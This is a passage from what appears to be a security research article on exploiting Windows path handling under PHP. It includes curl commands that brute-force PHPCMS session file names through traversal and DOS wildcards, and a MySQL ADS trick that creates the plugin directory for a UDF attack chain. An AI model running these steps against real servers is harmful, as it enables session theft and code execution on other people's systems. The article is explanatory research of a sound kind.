text
stringlengths
0
1.99k
----[ 3. When Windows Breaks...
One thing I really love about Web Security is that, even though each
individual trick seems pretty simple, the real challenge lies in figuring
out how to chain them together. Especially nowadays, behind every
seemingly simple website, there's usually a complex mix of tech stacks,
layered architectures, and cross-system interactions - not to mention that
each component has its own quirks and technical debt. So what makes Web
Security fascinating - and frankly beautiful - to me is finding a tiny
flaw, figuring out how to leverage the architecture to amplify its impact,
and chaining everything together into a clean, well-crafted exploit to
finally take over the entire system!
Personally, I'm a huge fan of the security issues caused by interactions
across applications. Whether it's about HTTPoxy [38] - caused by naming
collisions defined in RFC specs - TLS Poison attacks [39] that abuse
TLS/SSL session resumption, or an old-school trick from the '90s
resurfacing in modern frameworks [40] like Laravel, these are all
legendary in my book!
But here let's put those aside for now - and start with everyone's
favorite classic: Windows!
------[ 3.1 - Windows Path Madness
If we're really talking about the most notorious issue when running PHP on
Windows, I'd say it's definitely how Windows handles file paths! My
earliest memories of this topic probably come from the classic articles by
the teams at USH.it [41] and ONsec [42]. They documented tons of quirky
behaviors in how Windows processes file paths, allowing you to access
files in all kinds of fancy ways.
These tricks were so well-known in the early days that you'd see them in
basically every CTF. Probably the most memorable combo was using
"wildcards in DOS Devices" to brute-force randomized filenames
character-by-character. This technique quickly made its way into several
popular web applications, including PHPCMS [43] and DedeCMS [44] as two
notable examples. Attackers can use this trick to reveal sensitive paths -
like backup files, session names, and even the admin portal - by simply
checking whether certain paths exist or not!
--------------------[ Brute-forcing the SESSION Path !]--------------------
Base URL: http://phpcms/api.php?op=creatimg&txt=1337&font=*PATH*
|
v
+-----------------------+
| Current prefix = "" |<------------+
+-----------+-----------+ |
| |
+-----------v-----------+ |
+------------> | Try next character: C | |
| +-----------+-----------+ |
| | |
| v |
| +----------+----------+ |
| | | |
| +-----+-----+ +-----+----+ |
| | No image | | Image OK | |
| +-----+-----+ +-----+----+ |
| | | |
| v v (prefix += C) |
+--------------+ +---------------+
$ curl "${URL}&font=../../../../../../../../xampp/tmp/sess_A<" # [--]
$ curl "${URL}&font=../../../../../../../../xampp/tmp/sess_B<" # [--]
$ curl "${URL}&font=../../../../../../../../xampp/tmp/sess_C<" # [OK]
$ curl "${URL}&font=../../../../../../../../xampp/tmp/sess_CA<" # [--]
$ curl "${URL}&font=../../../../../../../../xampp/tmp/sess_CB<" # [OK]
[...]
$ curl "${URL}&font=[...]/tmp/sess_CBHRVOFTMP41BIOV02VPSGSUP7" # [OK]
---------------------------------------------------------------------------
Also, Alternate Data Streams (ADS) on NTFS is another feature hackers love
to abuse. A classic trick is using a special stream to turn "arbitrary
file writes" into "arbitrary directory creation" [45]. One particularly
memorable combo is leveraging this trick to create the missing
`@@plugin_dir` directory, thereby reviving the MySQL UDF attack chain!
---------------------[ Revive the MySQL UDF Attack! ]----------------------
C:\Users\Orange> ver
Microsoft Windows [Version 10.0.19042.631]
C:\MySQL\lib> dir plugin
File Not Found
C:\MySQL\lib> mysql -uroot -e
mysql> SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'
ERROR 3 (HY000): Error writing file [...] (Errcode: 22)
C:\MySQL\lib> dir plugin
04/21/2025 06:21 PM <DIR> .